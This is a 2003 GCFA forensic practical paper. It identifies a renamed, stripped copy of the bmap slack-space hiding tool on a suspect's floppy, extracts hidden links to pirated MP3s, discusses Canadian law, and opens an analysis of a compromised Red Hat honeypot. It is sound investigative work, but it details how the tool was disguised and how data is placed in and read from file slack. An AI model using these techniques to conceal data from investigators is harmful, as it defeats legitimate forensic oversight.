Fight crime.
Unravel incidents... one byte at a time.

Interested in learning more?
Check out the list of upcoming events offering
"Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508)
GCFA Practical Assignment

GCFA - Practical Assignment
A Linux 7.3 Compromise

Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws.

Date: November 21, 2003
Author: Kevin Miller
Version: 1.4
# Table of Contents

<table>
<thead>
<tr>
<th>SECTION</th>
<th>PAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Table of Contents</strong></td>
<td>2</td>
</tr>
<tr>
<td>1. <strong>ANALYSIS OF AN UNKNOWN BINARY</strong></td>
<td>4</td>
</tr>
<tr>
<td>1.1. Binary Details</td>
<td>4</td>
</tr>
<tr>
<td>1.2. Program Description</td>
<td>10</td>
</tr>
<tr>
<td>1.3. Forensic Details</td>
<td>17</td>
</tr>
<tr>
<td>1.4. Program Identification</td>
<td>18</td>
</tr>
<tr>
<td>1.5. Legal Implications</td>
<td>20</td>
</tr>
<tr>
<td>1.6. Interview Questions</td>
<td>22</td>
</tr>
<tr>
<td>1.7. Case Information</td>
<td>23</td>
</tr>
<tr>
<td>1.8. Additional Information</td>
<td>25</td>
</tr>
<tr>
<td>2. <strong>FORENSIC ANALYSIS - REDHAT 7.3 SYSTEM</strong></td>
<td>26</td>
</tr>
<tr>
<td>2.1. Synopsis of Case Facts</td>
<td>26</td>
</tr>
<tr>
<td>2.2. System Description</td>
<td>27</td>
</tr>
<tr>
<td>2.3. Hardware Description</td>
<td>28</td>
</tr>
<tr>
<td>2.4. Media Image</td>
<td>29</td>
</tr>
<tr>
<td>2.5. Media Analysis</td>
<td>32</td>
</tr>
<tr>
<td>2.6. Timeline Analysis</td>
<td>46</td>
</tr>
<tr>
<td>2.7. Recover Deleted Files</td>
<td>50</td>
</tr>
<tr>
<td>2.8. String Search</td>
<td>52</td>
</tr>
<tr>
<td>2.9. Conclusions</td>
<td>54</td>
</tr>
<tr>
<td>3. <strong>LEGAL ISSUES OF INCIDENT HANDLING</strong></td>
<td>55</td>
</tr>
<tr>
<td>3.1. Questions</td>
<td>55</td>
</tr>
</tbody>
</table>

## APPENDICES

<table>
<thead>
<tr>
<th>APPENDIX</th>
<th>PAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>61</td>
</tr>
<tr>
<td>Prog file strings listing</td>
<td>61</td>
</tr>
<tr>
<td>B</td>
<td>91</td>
</tr>
<tr>
<td>Bmap-1.0.20.tar.gz file list</td>
<td>91</td>
</tr>
<tr>
<td>C</td>
<td>94</td>
</tr>
<tr>
<td>Some Company – Acceptable Use Policy</td>
<td>94</td>
</tr>
<tr>
<td>D</td>
<td>97</td>
</tr>
<tr>
<td>Live Response Review</td>
<td>97</td>
</tr>
<tr>
<td>Live response File listings</td>
<td>106</td>
</tr>
<tr>
<td>starttime.txt</td>
<td>106</td>
</tr>
<tr>
<td>w.txt</td>
<td>106</td>
</tr>
<tr>
<td>nsat-sockets.txt</td>
<td>106</td>
</tr>
<tr>
<td>lsctl.txt</td>
<td>108</td>
</tr>
<tr>
<td>ps.txt</td>
<td>171</td>
</tr>
<tr>
<td>lsmod.txt</td>
<td>173</td>
</tr>
<tr>
<td>netstat-routes.txt</td>
<td>174</td>
</tr>
<tr>
<td>ifconfig.txt</td>
<td>174</td>
</tr>
<tr>
<td>Proc-filesystem.txt</td>
<td>174</td>
</tr>
<tr>
<td>stoptime.txt</td>
<td>177</td>
</tr>
</tbody>
</table>
Document Conventions:

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

**Bold text** within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cec5fbc8f84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](image-url)
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

John Price - disk
Device
Evidence Number: John Price - disk
File Path: C:\Sans\evidence files\John Price - disk.E01
Actual Date: 10/14/03 08:46:24PM
Target Date: 10/14/03 08:46:24PM
Total Size: 1,474,560 bytes (1.4MB)
Total Sectors: 2,880
File Integrity: Completely Verified, 0 Errors
EnCase Version: 4.15
System Version: Windows XP
Acquisition Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Verify Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Notes: 1.44 MB floppy - John Price

Figure 2. EnCase Report Screen shot - MD5 Verification
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

![EnCase Forensic Edition](image)

**Figure 3. EnCase screen shot of file information for ‘prog’**

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the ‘prog’ file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![Selection](image1)

Figure 4. EnCase export of prog file.

![Selection](image2)

Figure 5. MD5sum – byte count – filetype for ‘prog’ file (VMware)

The ‘prog’ MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:
- ELF executable – the kernel recognizes the file as a Unix executable.
- Statically linked – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- Stripped – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.\(^1\)

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```
mft_getopt
.
.
flag-
flagized option invocation
examining an enum!
matched against an enum val
examining a venum!
matched against an venum val
.
.
mft_log_shutdown
.
.
display fragmentation information for the file
frag
wipe the file from the raw device
.
.
autogenerate document ...
1.0.20 (07/15/03)

newt
use block-list knowledge to perform special operations on files
prog
main
off_t too small!
07/15/03
invalid option: %s
.
.
unable to raw open %s
Unable to determine count
Unable to allocate buffer
%s has holes in excess of %ld bytes...
error mapping block %d (%s)
nul block while mapping block %d.
.
.
```

\(^1\) Linux RedHat 7.3 “Man page for ‘file’ (man file)”, ver 3.37 of file - gcc binutils.
“use block-list knowledge to perform special operations on files”.
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

“1.0.20 (07/15/03)”

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an:

“ELF 32-bit LSB executable for the Intel 80386 platform”.

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from http://old.lwn.net/2000/0413/announce.php3 state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.

---

The command for running snort was “snort –vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, lsol, ps, netstat, lsmmod and ls was run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation ‘md5sum’ was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file.

The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort –dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was "no filename. Try ‘--help’ for help". Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The --static switch was added to the LDFLAGS line. The LDFLAGS line was now:

```
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The bmap file was stripped using the strip command:

```
strip bmap
```

The 'bmap' file was compared with the 'prog' file using "md5sum", "file" and "ll" output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the 'prog' file. The 'file' command output and byte count matched.
The ‘prog’ file and the newly compiled ‘bmap’ file were run with the –help switch. The output from both is shown:

```
[root@localhost bin1.4]# ./prog --help
prog 1.0.20 (07/15/03) new
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
  where VALUE is one of:
  version display version and exit
  help display options and exit
  man generate man page and exit
  sgml generate SGML invocation info

--mode VALUE
  where VALUE is one of:
  m list sector numbers
  c extract a copy from the raw device
  s display data
  p place data
  w wipe
  chk test (returns 0 if exist)
  sb print number of bytes available
  wipe wipe the file from the raw device
  frag display fragmentation information for the file
  checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1.

<table>
<thead>
<tr>
<th>Bmap strings output</th>
<th>Prog strings output</th>
</tr>
</thead>
<tbody>
<tr>
<td>wipe the file from the raw device</td>
<td>wipe the file from the raw device</td>
</tr>
<tr>
<td>print number of <em>slack</em> bytes available</td>
<td>print number of bytes available</td>
</tr>
</tbody>
</table>
slackbytes

test for slack (returns 0 if file has slack)

test (returns 0 if exist)

checkslack

wipe slack

wipe

wipeslack

place data into slack

place data

putsllack

display data in slack space

display data

slack

extract a copy from the raw device

extract a copy from the raw device

carve

list sector numbers

list sector numbers

operation to perform on files

operation to perform on files

mode

mode

generate SGML invocation info

generate SGML invocation info

gsml

generate man page and exit

generate man page and exit

display options and exit

display options and exit

help

help

display version and exit

display version and exit

version

version

autogenerate document ...

autogenerate document ...

1.0.20 (07/15/03)

1.0.20 (07/15/03)

newt@scyld.com

newt

use block-list knowledge to perform special operations on files

use block-list knowledge to perform special operations on files

bmap

prog

Table 1 String comparison - prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"

  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "putsllack" to "p" and removed "into slack" from line.
- Changed "checkslack" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.
Seached on "bmap" and changed to "prog"
Changed author in Make file from "newl@scylid.com" to "newt"
Added -static to LD_FLAGS on line 30 in Makefile.
Changed date to Jul 15, 2003

The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was "bca0e2b9ed71f20f9375f0105116c8f8". This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog -help" and “bmap -help” are shown below. Note: No differences were found.

```
5902 [????????] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
5902 [420b542b] geteuid32() = 0
5902 [420b4c6a] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
5902 [080552ee] fcntl164(0, _GETFD) = 0
5902 [080552ee] fcntl164(1, _GETFD) = 0
5902 [080552ee] fcntl164(2, _GETFD) = 0
5902 [0806f9bd] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
5902 [0806fa0] geteuid32() = 0
5902 [0806fa34] getuid32() = 0
5902 [0806fb78] getegid32() = 0
5902 [0806fb0c] getgid32() = 0
5902 [08070085] brk(0) = 0x80bedec
5902 [08070085] brk(0x80bee0c) = 0x80bee0c
5902 [08070085] brk(0x80c000) = 0x80c000
5902 [08070085] brk(0x80c0000) = 0x80c0000
5902 [080550e4] write(2, "no filename. try '\"--help\' for he", ..., 36) = 36
5902 [08054bd] _exit(2) = ?
```

```
5904 [????????] execve("./prog", ["./prog"], [/* 19 vars */]) = 0
5904 [420b542b] geteuid32() = 0
5904 [420b4c6a] execve("./prog", ["./prog"], [/* 19 vars */]) = 0
5904 [0805531e] fcntl164(0, _GETFD) = 0
5904 [0805531e] fcntl164(1, _GETFD) = 0
5904 [0805531e] fcntl164(2, _GETFD) = 0
5904 [0806f9ed] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
5904 [0806fa0] geteuid32() = 0
5904 [0806fa34] getuid32() = 0
5904 [0806fb78] getegid32() = 0
5904 [0806fb0c] getgid32() = 0
```

1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20 (07/15/03)
  newt
  use block-list knowledge to perform special operations on files
  .
  .
  bmap_get_block_size
  bmap_map_block
  .
  bmap_raw_open
  .
  .
  bmap_raw_close
  .
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dv” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMWare workstation. The bmap program was run on files using the –slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space.

Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024

[root@localhost bin1.4]# file Sound-slack.out
[root@localhost bin1.4]# zcat Sound-slack.out

Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***

[root@localhost bin1.4]#

The strings output was used to locate the source code for the "prog" program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

1.4. Program Identification

The source for bmap-1.0.20 was located at ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program 'bmap' is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch "-static" was added.

```
.
.
BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = "/*/.../image"

CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static

BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)
.
.
```

The compile of the "bmap" executable was done by typing "make" in the bmap-1.0.20 directory. To strip the file the command used was "strip bmap". An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2996dca14ac353e9765cb91b2  bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr--r-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3efa63cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![Figure 8. GCC version information located in Unallocated Clusters](image-url)
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right, (a) obtains, directly or indirectly, any computer service, (b) by means of an electro-magnetic, acoustic, mechanical or other device, intercepts or causes to be intercepted, directly or indirectly, any function of a computer system, (c) uses or causes to be used, directly or indirectly, a computer system with intent to commit an offence under paragraph (a) or (b) or an offence under section 430 in relation to data or a computer system, or (d) uses, possesses, traffics in or permits another person to have access to a computer password that would enable a person to commit an offence under paragraph (a), (b) or (c) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years, or is guilty of an offence punishable on summary conviction. 3

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

428. In this Part, “property” means real or personal corporeal property.

**Mischief**

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction.  

---

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What logon ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership
of files.

5) What workstations do you use? Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and / or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

```
# find / -name "*" -type f -exec bmap -checkslack {} 
```

The command will start at root (/) looking for all (-name "") files (-type f) and run “bmap –checkslack” on the file and print this out. As seen in Figure 9:
Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
"bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out"
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:

www.filesshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,

I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information


Section 2

2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31 pm the power cord to the box was unplugged. The harddrive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5” floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2 kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

---

2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
</tr>
</thead>
</table>
| Tag #01 | Western Digital AC26400-60RTT0  
          Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB |
| Tag #02 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085 |
| Tag #03 | Western Digital AC26400-60RTT0  
          Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB |
| Tag #04 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129 |
| Tag #05 | CDROM labeled “Casefile 10/10/03 logs” with initials FT |
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5" high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software (www.guidancesoftware.com). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

Figure 11. FastBloc - drive image Tag #01
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

![Image of Hashing dialog box](image)

Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system

The check box to “Search, Hash and Signature Analysis” was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

![Image of After Acquisition dialog box](image)

Figure 13. Initial search, MD5 of files and Signature analysis.
